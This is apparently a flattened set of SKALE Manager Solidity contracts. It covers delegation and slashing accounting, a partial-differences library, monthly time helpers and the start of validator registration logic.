delegationPeriod, now, 0, 0, info )); delegationsByValidator[validatorId].push(delegationId); delegationsByHolder[holder].push(delegationId); _addToLockedInPendingDelegations(delegations[delegationId].holder, delegations[delegationId].amount); } /** * @dev Returns the month when a delegation ends. */ function _calculateDelegationEndMonth(uint delegationId) private view returns (uint) { uint currentMonth = _getCurrentMonth(); uint started = delegations[delegationId].started; if (currentMonth < started) { return started.add(delegations[delegationId].delegationPeriod); } else { uint completedPeriods = currentMonth.sub(started).div(delegations[delegationId].delegationPeriod); return started.add(completedPeriods.add(1).mul(delegations[delegationId].delegationPeriod)); } } function _addToDelegatedToValidator(uint validatorId, uint amount, uint month) private { _delegatedToValidator[validatorId].addToValue(amount, month); } function _addToEffectiveDelegatedToValidator(uint validatorId, uint effectiveAmount, uint month) private { _effectiveDelegatedToValidator[validatorId].addToSequence(effectiveAmount, month); } function _addToDelegatedByHolder(address holder, uint amount, uint month) private { _delegatedByHolder[holder].addToValue(amount, month); } function _addToDelegatedByHolderToValidator( address holder, uint validatorId, uint amount, uint month) private { _delegatedByHolderToValidator[holder][validatorId].addToValue(amount, month); } function _addValidatorToValidatorsPerDelegators(address holder, uint validatorId) private { if (_numberOfValidatorsPerDelegator[holder].delegated[validatorId] == 0) { _numberOfValidatorsPerDelegator[holder].number = _numberOfValidatorsPerDelegator[holder].number.add(1); } _numberOfValidatorsPerDelegator[holder]. delegated[validatorId] = _numberOfValidatorsPerDelegator[holder].delegated[validatorId].add(1); } function _removeFromDelegatedByHolder(address holder, uint amount, uint month) private { _delegatedByHolder[holder].subtractFromValue(amount, month); } function _removeFromDelegatedByHolderToValidator( address holder, uint validatorId, uint amount, uint month) private { _delegatedByHolderToValidator[holder][validatorId].subtractFromValue(amount, month); } function _removeValidatorFromValidatorsPerDelegators(address holder, uint validatorId) private { if (_numberOfValidatorsPerDelegator[holder].delegated[validatorId] == 1) { _numberOfValidatorsPerDelegator[holder].number = _numberOfValidatorsPerDelegator[holder].number.sub(1); } _numberOfValidatorsPerDelegator[holder]. delegated[validatorId] = _numberOfValidatorsPerDelegator[holder].delegated[validatorId].sub(1); } function _addToEffectiveDelegatedByHolderToValidator( address holder, uint validatorId, uint effectiveAmount, uint month) private { _effectiveDelegatedByHolderToValidator[holder][validatorId].addToSequence(effectiveAmount, month); } function _removeFromEffectiveDelegatedByHolderToValidator( address holder, uint validatorId, uint effectiveAmount, uint month) private { _effectiveDelegatedByHolderToValidator[holder][validatorId].subtractFromSequence(effectiveAmount, month); } function _getAndUpdateDelegatedByHolder(address holder) private returns (uint) { uint currentMonth = _getCurrentMonth(); processAllSlashes(holder); return _delegatedByHolder[holder].getAndUpdateValue(currentMonth); } function _getAndUpdateDelegatedByHolderToValidator( address holder, uint validatorId, uint month) private returns (uint) { return _delegatedByHolderToValidator[holder][validatorId].getAndUpdateValue(month); } function _addToLockedInPendingDelegations(address holder, uint amount) private returns (uint) { uint currentMonth = _getCurrentMonth(); if (_lockedInPendingDelegations[holder].month < currentMonth) { _lockedInPendingDelegations[holder].amount = amount; _lockedInPendingDelegations[holder].month = currentMonth; } else { assert(_lockedInPendingDelegations[holder].month == currentMonth); _lockedInPendingDelegations[holder].amount = _lockedInPendingDelegations[holder].amount.add(amount); } } function _subtractFromLockedInPendingDelegations(address holder, uint amount) private returns (uint) { uint currentMonth = _getCurrentMonth(); assert(_lockedInPendingDelegations[holder].month == currentMonth); _lockedInPendingDelegations[holder].amount = _lockedInPendingDelegations[holder].amount.sub(amount); } function _getCurrentMonth() private view returns (uint) { return _getTimeHelpers().getCurrentMonth(); } /** * @dev See {ILocker-getAndUpdateLockedAmount}. */ function _getAndUpdateLockedAmount(address wallet) private returns (uint) { return _getAndUpdateDelegatedByHolder(wallet).add(getLockedInPendingDelegations(wallet)); } function _updateFirstDelegationMonth(address holder, uint validatorId, uint month) private { if (_firstDelegationMonth[holder].value == 0) { _firstDelegationMonth[holder].value = month; _firstUnprocessedSlashByHolder[holder] = _slashes.length; } if (_firstDelegationMonth[holder].byValidator[validatorId] == 0) { _firstDelegationMonth[holder].byValidator[validatorId] = month; } } /** * @dev Checks whether the holder has performed a delegation. */ function _everDelegated(address holder) private view returns (bool) { return _firstDelegationMonth[holder].value > 0; } function _removeFromDelegatedToValidator(uint validatorId, uint amount, uint month) private { _delegatedToValidator[validatorId].subtractFromValue(amount, month); } function _removeFromEffectiveDelegatedToValidator(uint validatorId, uint effectiveAmount, uint month) private { _effectiveDelegatedToValidator[validatorId].subtractFromSequence(effectiveAmount, month); } /** * @dev Returns the delegated amount after a slashing event. */ function _calculateDelegationAmountAfterSlashing(uint delegationId) private view returns (uint) { uint startMonth = _delegationExtras[delegationId].lastSlashingMonthBeforeDelegation; uint validatorId = delegations[delegationId].validatorId; uint amount = delegations[delegationId].amount; if (startMonth == 0) { startMonth = _slashesOfValidator[validatorId].firstMonth; if (startMonth == 0) { return amount; } } for (uint i = startMonth; i > 0 && i < delegations[delegationId].finished; i = _slashesOfValidator[validatorId].slashes[i].nextMonth) { if (i >= delegations[delegationId].started) { amount = amount .mul(_slashesOfValidator[validatorId].slashes[i].reducingCoefficient.numerator) .div(_slashesOfValidator[validatorId].slashes[i].reducingCoefficient.denominator); } } return amount; } function _putToSlashingLog( SlashingLog storage log, FractionUtils.Fraction memory coefficient, uint month) private { if (log.firstMonth == 0) { log.firstMonth = month; log.lastMonth = month; log.slashes[month].reducingCoefficient = coefficient; log.slashes[month].nextMonth = 0; } else { require(log.lastMonth <= month, "Cannot put slashing event in the past"); if (log.lastMonth == month) { log.slashes[month].reducingCoefficient = log.slashes[month].reducingCoefficient.multiplyFraction(coefficient); } else { log.slashes[month].reducingCoefficient = coefficient; log.slashes[month].nextMonth = 0; log.slashes[log.lastMonth].nextMonth = month; log.lastMonth = month; } } } function _processSlashesWithoutSignals(address holder, uint limit) private returns (SlashingSignal[] memory slashingSignals) { if (hasUnprocessedSlashes(holder)) { uint index = _firstUnprocessedSlashByHolder[holder]; uint end = _slashes.length; if (limit > 0 && index.add(limit) < end) { end = index.add(limit); } slashingSignals = new SlashingSignal[](end.sub(index)); uint begin = index; for (; index < end; ++index) { uint validatorId = _slashes[index].validatorId; uint month = _slashes[index].month; uint oldValue = _getAndUpdateDelegatedByHolderToValidator(holder, validatorId, month); if (oldValue.muchGreater(0)) { _delegatedByHolderToValidator[holder][validatorId].reduceValueByCoefficientAndUpdateSum( _delegatedByHolder[holder], _slashes[index].reducingCoefficient, month); _effectiveDelegatedByHolderToValidator[holder][validatorId].reduceSequence( _slashes[index].reducingCoefficient, month); slashingSignals[index.sub(begin)].holder = holder; slashingSignals[index.sub(begin)].penalty = oldValue.boundedSub(_getAndUpdateDelegatedByHolderToValidator(holder, validatorId, month)); } } _firstUnprocessedSlashByHolder[holder] = end; } } function _processAllSlashesWithoutSignals(address holder) private returns (SlashingSignal[] memory slashingSignals) { return _processSlashesWithoutSignals(holder, 0); } function _sendSlashingSignals(SlashingSignal[] memory slashingSignals) private { Punisher punisher = Punisher(contractManager.getPunisher()); address previousHolder = address(0); uint accumulatedPenalty = 0; for (uint i = 0; i < slashingSignals.length; ++i) { if (slashingSignals[i].holder != previousHolder) { if (accumulatedPenalty > 0) { punisher.handleSlash(previousHolder, accumulatedPenalty); } previousHolder = slashingSignals[i].holder; accumulatedPenalty = slashingSignals[i].penalty; } else { accumulatedPenalty = accumulatedPenalty.add(slashingSignals[i].penalty); } } if (accumulatedPenalty > 0) { punisher.handleSlash(previousHolder, accumulatedPenalty); } } function _addToAllStatistics(uint delegationId) private { uint currentMonth = _getCurrentMonth(); delegations[delegationId].started = currentMonth.add(1); if (_slashesOfValidator[delegations[delegationId].validatorId].lastMonth > 0) { _delegationExtras[delegationId].lastSlashingMonthBeforeDelegation = _slashesOfValidator[delegations[delegationId].validatorId].lastMonth; } _addToDelegatedToValidator( delegations[delegationId].validatorId, delegations[delegationId].amount, currentMonth.add(1)); _addToDelegatedByHolder( delegations[delegationId].holder, delegations[delegationId].amount, currentMonth.add(1)); _addToDelegatedByHolderToValidator( delegations[delegationId].holder, delegations[delegationId].validatorId, delegations[delegationId].amount, currentMonth.add(1)); _updateFirstDelegationMonth( delegations[delegationId].holder, delegations[delegationId].validatorId, currentMonth.add(1)); uint effectiveAmount = delegations[delegationId].amount.mul( _getDelegationPeriodManager().stakeMultipliers(delegations[delegationId].delegationPeriod)); _addToEffectiveDelegatedToValidator( delegations[delegationId].validatorId, effectiveAmount, currentMonth.add(1)); _addToEffectiveDelegatedByHolderToValidator( delegations[delegationId].holder, delegations[delegationId].validatorId, effectiveAmount, currentMonth.add(1)); _addValidatorToValidatorsPerDelegators( delegations[delegationId].holder, delegations[delegationId].validatorId ); } function _subtractFromAllStatistics(uint delegationId) private { uint amountAfterSlashing = _calculateDelegationAmountAfterSlashing(delegationId); _removeFromDelegatedToValidator( delegations[delegationId].validatorId, amountAfterSlashing, delegations[delegationId].finished); _removeFromDelegatedByHolder( delegations[delegationId].holder, amountAfterSlashing, delegations[delegationId].finished); _removeFromDelegatedByHolderToValidator( delegations[delegationId].holder, delegations[delegationId].validatorId, amountAfterSlashing, delegations[delegationId].finished); uint effectiveAmount = amountAfterSlashing.mul( _getDelegationPeriodManager().stakeMultipliers(delegations[delegationId].delegationPeriod)); _removeFromEffectiveDelegatedToValidator( delegations[delegationId].validatorId, effectiveAmount, delegations[delegationId].finished); _removeFromEffectiveDelegatedByHolderToValidator( delegations[delegationId].holder, delegations[delegationId].validatorId, effectiveAmount, delegations[delegationId].finished); _getBounty().handleDelegationRemoving( effectiveAmount, delegations[delegationId].finished); } /** * @dev Checks whether delegation to a validator is allowed. * * Requirements: * * - Delegator must not have reached the validator limit. * - Delegation must be made in or after the first delegation month. */ function _checkIfDelegationIsAllowed(address holder, uint validatorId) private view returns (bool) { require( _numberOfValidatorsPerDelegator[holder].delegated[validatorId] > 0 || ( _numberOfValidatorsPerDelegator[holder].delegated[validatorId] == 0 && _numberOfValidatorsPerDelegator[holder].number < _getConstantsHolder().limitValidatorsPerDelegator() ), "Limit of validators is reached" ); } function _getDelegationPeriodManager() private view returns (DelegationPeriodManager) { return DelegationPeriodManager(contractManager.getDelegationPeriodManager()); } function _getBounty() private view returns (BountyV2) { return BountyV2(contractManager.getBounty()); } function _getValidatorService() private view returns (ValidatorService) { return ValidatorService(contractManager.getValidatorService()); } function _getTimeHelpers() private view returns (TimeHelpers) { return TimeHelpers(contractManager.getTimeHelpers()); } function _getConstantsHolder() private view returns (ConstantsHolder) { return ConstantsHolder(contractManager.getConstantsHolder()); } function _accept(uint delegationId) private { _checkIfDelegationIsAllowed(delegations[delegationId].holder, delegations[delegationId].validatorId); State currentState = getState(delegationId); if (currentState != State.PROPOSED) { if (currentState == State.ACCEPTED || currentState == State.DELEGATED || currentState == State.UNDELEGATION_REQUESTED || currentState == State.COMPLETED) { revert("The delegation has been already accepted"); } else if (currentState == State.CANCELED) { revert("The delegation has been cancelled by token holder"); } else if (currentState == State.REJECTED) { revert("The delegation request is outdated"); } } require(currentState == State.PROPOSED, "Cannot set delegation state to accepted"); SlashingSignal[] memory slashingSignals = _processAllSlashesWithoutSignals(delegations[delegationId].holder); _addToAllStatistics(delegationId); uint amount = delegations[delegationId].amount; uint effectiveAmount = amount.mul( _getDelegationPeriodManager().stakeMultipliers(delegations[delegationId].delegationPeriod) ); _getBounty().handleDelegationAdd( effectiveAmount, delegations[delegationId].started ); _sendSlashingSignals(slashingSignals); emit DelegationAccepted(delegationId); } } // SPDX-License-Identifier: AGPL-3.0-only /* PartialDifferences.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../utils/MathUtils.sol"; import "../utils/FractionUtils.sol"; /** * @title Partial Differences Library * @dev This library contains functions to manage Partial Differences data * structure. Partial Differences is an array of value differences over time. * * For example: assuming an array [3, 6, 3, 1, 2], partial differences can * represent this array as [_, 3, -3, -2, 1]. * * This data structure allows adding values on an open interval with O(1) * complexity. * * For example: add +5 to [3, 6, 3, 1, 2] starting from the second element (3), * instead of performing [3, 6, 3+5, 1+5, 2+5] partial differences allows * performing [_, 3, -3+5, -2, 1]. The original array can be restored by * adding values from partial differences. */ library PartialDifferences { using SafeMath for uint; using MathUtils for uint; struct Sequence { // month => diff mapping (uint => uint) addDiff; // month => diff mapping (uint => uint) subtractDiff; // month => value mapping (uint => uint) value; uint firstUnprocessedMonth; uint lastChangedMonth; } struct Value { // month => diff mapping (uint => uint) addDiff; // month => diff mapping (uint => uint) subtractDiff; uint value; uint firstUnprocessedMonth; uint lastChangedMonth; } // functions for sequence function addToSequence(Sequence storage sequence, uint diff, uint month) internal { require(sequence.firstUnprocessedMonth <= month, "Cannot add to the past"); if (sequence.firstUnprocessedMonth == 0) { sequence.firstUnprocessedMonth = month; } sequence.addDiff[month] = sequence.addDiff[month].add(diff); if (sequence.lastChangedMonth != month) { sequence.lastChangedMonth = month; } } function subtractFromSequence(Sequence storage sequence, uint diff, uint month) internal { require(sequence.firstUnprocessedMonth <= month, "Cannot subtract from the past"); if (sequence.firstUnprocessedMonth == 0) { sequence.firstUnprocessedMonth = month; } sequence.subtractDiff[month] = sequence.subtractDiff[month].add(diff); if (sequence.lastChangedMonth != month) { sequence.lastChangedMonth = month; } } function getAndUpdateValueInSequence(Sequence storage sequence, uint month) internal returns (uint) { if (sequence.firstUnprocessedMonth == 0) { return 0; } if (sequence.firstUnprocessedMonth <= month) { for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) { uint nextValue = sequence.value[i.sub(1)].add(sequence.addDiff[i]).boundedSub(sequence.subtractDiff[i]); if (sequence.value[i] != nextValue) { sequence.value[i] = nextValue; } if (sequence.addDiff[i] > 0) { delete sequence.addDiff[i]; } if (sequence.subtractDiff[i] > 0) { delete sequence.subtractDiff[i]; } } sequence.firstUnprocessedMonth = month.add(1); } return sequence.value[month]; } function getValueInSequence(Sequence storage sequence, uint month) internal view returns (uint) { if (sequence.firstUnprocessedMonth == 0) { return 0; } if (sequence.firstUnprocessedMonth <= month) { uint value = sequence.value[sequence.firstUnprocessedMonth.sub(1)]; for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) { value = value.add(sequence.addDiff[i]).sub(sequence.subtractDiff[i]); } return value; } else { return sequence.value[month]; } } function getValuesInSequence(Sequence storage sequence) internal view returns (uint[] memory values) { if (sequence.firstUnprocessedMonth == 0) { return values; } uint begin = sequence.firstUnprocessedMonth.sub(1); uint end = sequence.lastChangedMonth.add(1); if (end <= begin) { end = begin.add(1); } values = new uint[](end.sub(begin)); values[0] = sequence.value[sequence.firstUnprocessedMonth.sub(1)]; for (uint i = 0; i.add(1) < values.length; ++i) { uint month = sequence.firstUnprocessedMonth.add(i); values[i.add(1)] = values[i].add(sequence.addDiff[month]).sub(sequence.subtractDiff[month]); } } function reduceSequence( Sequence storage sequence, FractionUtils.Fraction memory reducingCoefficient, uint month) internal { require(month.add(1) >= sequence.firstUnprocessedMonth, "Cannot reduce value in the past"); require( reducingCoefficient.numerator <= reducingCoefficient.denominator, "Increasing of values is not implemented"); if (sequence.firstUnprocessedMonth == 0) { return; } uint value = getAndUpdateValueInSequence(sequence, month); if (value.approximatelyEqual(0)) { return; } sequence.value[month] = sequence.value[month] .mul(reducingCoefficient.numerator) .div(reducingCoefficient.denominator); for (uint i = month.add(1); i <= sequence.lastChangedMonth; ++i) { sequence.subtractDiff[i] = sequence.subtractDiff[i] .mul(reducingCoefficient.numerator) .div(reducingCoefficient.denominator); } } // functions for value function addToValue(Value storage sequence, uint diff, uint month) internal { require(sequence.firstUnprocessedMonth <= month, "Cannot add to the past"); if (sequence.firstUnprocessedMonth == 0) { sequence.firstUnprocessedMonth = month; sequence.lastChangedMonth = month; } if (month > sequence.lastChangedMonth) { sequence.lastChangedMonth = month; } if (month >= sequence.firstUnprocessedMonth) { sequence.addDiff[month] = sequence.addDiff[month].add(diff); } else { sequence.value = sequence.value.add(diff); } } function subtractFromValue(Value storage sequence, uint diff, uint month) internal { require(sequence.firstUnprocessedMonth <= month.add(1), "Cannot subtract from the past"); if (sequence.firstUnprocessedMonth == 0) { sequence.firstUnprocessedMonth = month; sequence.lastChangedMonth = month; } if (month > sequence.lastChangedMonth) { sequence.lastChangedMonth = month; } if (month >= sequence.firstUnprocessedMonth) { sequence.subtractDiff[month] = sequence.subtractDiff[month].add(diff); } else { sequence.value = sequence.value.boundedSub(diff); } } function getAndUpdateValue(Value storage sequence, uint month) internal returns (uint) { require( month.add(1) >= sequence.firstUnprocessedMonth, "Cannot calculate value in the past"); if (sequence.firstUnprocessedMonth == 0) { return 0; } if (sequence.firstUnprocessedMonth <= month) { uint value = sequence.value; for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) { value = value.add(sequence.addDiff[i]).boundedSub(sequence.subtractDiff[i]); if (sequence.addDiff[i] > 0) { delete sequence.addDiff[i]; } if (sequence.subtractDiff[i] > 0) { delete sequence.subtractDiff[i]; } } if (sequence.value != value) { sequence.value = value; } sequence.firstUnprocessedMonth = month.add(1); } return sequence.value; } function getValue(Value storage sequence, uint month) internal view returns (uint) { require( month.add(1) >= sequence.firstUnprocessedMonth, "Cannot calculate value in the past"); if (sequence.firstUnprocessedMonth == 0) { return 0; } if (sequence.firstUnprocessedMonth <= month) { uint value = sequence.value; for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) { value = value.add(sequence.addDiff[i]).sub(sequence.subtractDiff[i]); } return value; } else { return sequence.value; } } function getValues(Value storage sequence) internal view returns (uint[] memory values) { if (sequence.firstUnprocessedMonth == 0) { return values; } uint begin = sequence.firstUnprocessedMonth.sub(1); uint end = sequence.lastChangedMonth.add(1); if (end <= begin) { end = begin.add(1); } values = new uint[](end.sub(begin)); values[0] = sequence.value; for (uint i = 0; i.add(1) < values.length; ++i) { uint month = sequence.firstUnprocessedMonth.add(i); values[i.add(1)] = values[i].add(sequence.addDiff[month]).sub(sequence.subtractDiff[month]); } } function reduceValue( Value storage sequence, uint amount, uint month) internal returns (FractionUtils.Fraction memory) { require(month.add(1) >= sequence.firstUnprocessedMonth, "Cannot reduce value in the past"); if (sequence.firstUnprocessedMonth == 0) { return FractionUtils.createFraction(0); } uint value = getAndUpdateValue(sequence, month); if (value.approximatelyEqual(0)) { return FractionUtils.createFraction(0); } uint _amount = amount; if (value < amount) { _amount = value; } FractionUtils.Fraction memory reducingCoefficient = FractionUtils.createFraction(value.boundedSub(_amount), value); reduceValueByCoefficient(sequence, reducingCoefficient, month); return reducingCoefficient; } function reduceValueByCoefficient( Value storage sequence, FractionUtils.Fraction memory reducingCoefficient, uint month) internal { reduceValueByCoefficientAndUpdateSumIfNeeded( sequence, sequence, reducingCoefficient, month, false); } function reduceValueByCoefficientAndUpdateSum( Value storage sequence, Value storage sumSequence, FractionUtils.Fraction memory reducingCoefficient, uint month) internal { reduceValueByCoefficientAndUpdateSumIfNeeded( sequence, sumSequence, reducingCoefficient, month, true); } function reduceValueByCoefficientAndUpdateSumIfNeeded( Value storage sequence, Value storage sumSequence, FractionUtils.Fraction memory reducingCoefficient, uint month, bool hasSumSequence) internal { require(month.add(1) >= sequence.firstUnprocessedMonth, "Cannot reduce value in the past"); if (hasSumSequence) { require(month.add(1) >= sumSequence.firstUnprocessedMonth, "Cannot reduce value in the past"); } require( reducingCoefficient.numerator <= reducingCoefficient.denominator, "Increasing of values is not implemented"); if (sequence.firstUnprocessedMonth == 0) { return; } uint value = getAndUpdateValue(sequence, month); if (value.approximatelyEqual(0)) { return; } uint newValue = sequence.value.mul(reducingCoefficient.numerator).div(reducingCoefficient.denominator); if (hasSumSequence) { subtractFromValue(sumSequence, sequence.value.boundedSub(newValue), month); } sequence.value = newValue; for (uint i = month.add(1); i <= sequence.lastChangedMonth; ++i) { uint newDiff = sequence.subtractDiff[i] .mul(reducingCoefficient.numerator) .div(reducingCoefficient.denominator); if (hasSumSequence) { sumSequence.subtractDiff[i] = sumSequence.subtractDiff[i] .boundedSub(sequence.subtractDiff[i].boundedSub(newDiff)); } sequence.subtractDiff[i] = newDiff; } } function clear(Value storage sequence) internal { for (uint i = sequence.firstUnprocessedMonth; i <= sequence.lastChangedMonth; ++i) { if (sequence.addDiff[i] > 0) { delete sequence.addDiff[i]; } if (sequence.subtractDiff[i] > 0) { delete sequence.subtractDiff[i]; } } if (sequence.value > 0) { delete sequence.value; } if (sequence.firstUnprocessedMonth > 0) { delete sequence.firstUnprocessedMonth; } if (sequence.lastChangedMonth > 0) { delete sequence.lastChangedMonth; } } } // SPDX-License-Identifier: AGPL-3.0-only /* TimeHelpers.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "../thirdparty/BokkyPooBahsDateTimeLibrary.sol"; /** * @title TimeHelpers * @dev The contract performs time operations. * * These functions are used to calculate monthly and Proof of Use epochs. */ contract TimeHelpers { using SafeMath for uint; uint constant private _ZERO_YEAR = 2020; function calculateProofOfUseLockEndTime(uint month, uint lockUpPeriodDays) external view returns (uint timestamp) { timestamp = BokkyPooBahsDateTimeLibrary.addDays(monthToTimestamp(month), lockUpPeriodDays); } function addDays(uint fromTimestamp, uint n) external pure returns (uint) { return BokkyPooBahsDateTimeLibrary.addDays(fromTimestamp, n); } function addMonths(uint fromTimestamp, uint n) external pure returns (uint) { return BokkyPooBahsDateTimeLibrary.addMonths(fromTimestamp, n); } function addYears(uint fromTimestamp, uint n) external pure returns (uint) { return BokkyPooBahsDateTimeLibrary.addYears(fromTimestamp, n); } function getCurrentMonth() external view virtual returns (uint) { return timestampToMonth(now); } function timestampToDay(uint timestamp) external view returns (uint) { uint wholeDays = timestamp / BokkyPooBahsDateTimeLibrary.SECONDS_PER_DAY; uint zeroDay = BokkyPooBahsDateTimeLibrary.timestampFromDate(_ZERO_YEAR, 1, 1) / BokkyPooBahsDateTimeLibrary.SECONDS_PER_DAY; require(wholeDays >= zeroDay, "Timestamp is too far in the past"); return wholeDays - zeroDay; } function timestampToYear(uint timestamp) external view virtual returns (uint) { uint year; (year, , ) = BokkyPooBahsDateTimeLibrary.timestampToDate(timestamp); require(year >= _ZERO_YEAR, "Timestamp is too far in the past"); return year - _ZERO_YEAR; } function timestampToMonth(uint timestamp) public view virtual returns (uint) { uint year; uint month; (year, month, ) = BokkyPooBahsDateTimeLibrary.timestampToDate(timestamp); require(year >= _ZERO_YEAR, "Timestamp is too far in the past"); month = month.sub(1).add(year.sub(_ZERO_YEAR).mul(12)); require(month > 0, "Timestamp is too far in the past"); return month; } function monthToTimestamp(uint month) public view virtual returns (uint timestamp) { uint year = _ZERO_YEAR; uint _month = month; year = year.add(_month.div(12)); _month = _month.mod(12); _month = _month.add(1); return BokkyPooBahsDateTimeLibrary.timestampFromDate(year, _month, 1); } } // SPDX-License-Identifier: AGPL-3.0-only /* ValidatorService.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/cryptography/ECDSA.sol"; import "../Permissions.sol"; import "../ConstantsHolder.sol"; import "./DelegationController.sol"; import "./TimeHelpers.sol"; /** * @title ValidatorService * @dev This contract handles all validator operations including registration, * node management, validator-specific delegation parameters, and more. * * TIP: For more information see our main instructions * https://forum.skale.network/t/skale-mainnet-launch-faq/182[SKALE MainNet Launch FAQ]. * * Validators register an address, and use this address to accept delegations and * register nodes. */ contract ValidatorService is Permissions { using ECDSA for bytes32; struct Validator { string name; address validatorAddress; address requestedAddress; string description; uint feeRate; uint registrationTime; uint minimumDelegationAmount; bool acceptNewRequests; } /** * @dev Emitted when a validator registers. */ event ValidatorRegistered( uint validatorId ); /** * @dev Emitted when a validator address changes. */ event ValidatorAddressChanged( uint validatorId, address newAddress ); /** * @dev Emitted when a validator is enabled. */ event ValidatorWasEnabled( uint validatorId ); /** * @dev Emitted when a validator is disabled. */ event ValidatorWasDisabled( uint validatorId ); /** * @dev Emitted when a node address is linked to a validator. */ event NodeAddressWasAdded( uint validatorId, address nodeAddress ); /** * @dev Emitted when a node address is unlinked from a validator. */ event NodeAddressWasRemoved( uint validatorId, address nodeAddress ); mapping (uint => Validator) public validators; mapping (uint => bool) private _trustedValidators; uint[] public trustedValidatorsList; // address => validatorId mapping (address => uint) private _validatorAddressToId; // address => validatorId mapping (address => uint) private _nodeAddressToValidatorId; // validatorId => nodeAddress[] mapping (uint => address[]) private _nodeAddresses; uint public numberOfValidators; bool public useWhitelist; modifier checkValidatorExists(uint validatorId) { require(validatorExists(validatorId), "Validator with such ID does not exist"); _; } /** * @dev Creates a new validator ID that includes a validator name, description, * commission or fee rate, and a minimum delegation amount accepted by the validator. * * Emits a {ValidatorRegistered} event. * * Requirements: * * - Sender must not already have registered a validator ID. * - Fee rate must be between 0 - 1000‰. Note: in per mille. */ function registerValidator( string calldata name, string calldata description, uint feeRate, uint minimumDelegationAmount ) external returns (uint validatorId) { require(!validatorAddressExists(msg.sender), "Validator with such address already exists"); require(feeRate <= 1000, "Fee rate of validator should be lower than 100%"); validatorId = ++numberOfValidators; validators[validatorId] = Validator( name, msg.sender, address(0), description, feeRate, now, minimumDelegationAmount, true ); _setValidatorAddress(validatorId, msg.sender); emit ValidatorRegistered(validatorId); } /** * @dev Allows Admin to enable a validator by adding their ID to the * trusted list. * * Emits a {ValidatorWasEnabled} event. * * Requirements: * * - Validator must not already be enabled. */ function enableValidator(uint validatorId) external checkValidatorExists(validatorId) onlyAdmin { require(!_trustedValidators[validatorId], "Validator is already enabled"); _trustedValidators[validatorId] = true; trustedValidatorsList.push(validatorId); emit ValidatorWasEnabled(validatorId); } /** * @dev Allows Admin to disable a validator by removing their ID from * the trusted list. * * Emits a {ValidatorWasDisabled} event. * * Requirements: * * - Validator must not already be disabled. */ function disableValidator(uint validatorId) external checkValidatorExists(validatorId) onlyAdmin { require(_trustedValidators[validatorId], "Validator is already disabled"); _trustedValidators[validatorId] = false; uint position = _find(trustedValidatorsList, validatorId); if (position < trustedValidatorsList.length) { trustedValidatorsList[position] = trustedValidatorsList[trustedValidatorsList.length.sub(1)]; } trustedValidatorsList.pop(); emit ValidatorWasDisabled(validatorId); } /** * @dev Owner can disable the trusted validator list. Once turned off, the * trusted list cannot be re-enabled. */ function disableWhitelist() external onlyOwner { useWhitelist = false; } /** * @dev Allows `msg.sender` to request a new address. * * Requirements: * * - `msg.sender` must already be a validator. * - New address must not be null. * - New address must not be already registered as a validator. */ function requestForNewAddress(address newValidatorAddress) external { require(newValidatorAddress != address(0), "New address cannot be null"); require(_validatorAddressToId[newValidatorAddress] == 0, "Address already registered"); // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); validators[validatorId].requestedAddress = newValidatorAddress; } /** * @dev Allows msg.sender to confirm an address change. * * Emits a {ValidatorAddressChanged} event. * * Requirements: * * - Must be owner of new address. */ function confirmNewAddress(uint validatorId) external checkValidatorExists(validatorId) { require( getValidator(validatorId).requestedAddress == msg.sender, "The validator address cannot be changed because it is not the actual owner" ); delete validators[validatorId].requestedAddress; _setValidatorAddress(validatorId, msg.sender); emit ValidatorAddressChanged(validatorId, validators[validatorId].validatorAddress); } /** * @dev Links a node address to validator ID. Validator must present * the node signature of the validator ID. * * Requirements: * * - Signature must be valid. * - Address must not be assigned to a validator. */ function linkNodeAddress(address nodeAddress, bytes calldata sig) external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); require( keccak256(abi.encodePacked(validatorId)).toEthSignedMessageHash().recover(sig) == nodeAddress, "Signature is not pass" ); require(_validatorAddressToId[nodeAddress] == 0, "Node address is a validator"); _addNodeAddress(validatorId, nodeAddress); emit NodeAddressWasAdded(validatorId, nodeAddress); } /** * @dev Unlinks a node address from a validator. * * Emits a {NodeAddressWasRemoved} event. */ function unlinkNodeAddress(address nodeAddress) external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); this.removeNodeAddress(validatorId, nodeAddress); emit NodeAddressWasRemoved(validatorId, nodeAddress); } /** * @dev Allows a validator to set a minimum delegation amount. */ function setValidatorMDA(uint minimumDelegationAmount) external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); validators[validatorId].minimumDelegationAmount = minimumDelegationAmount; } 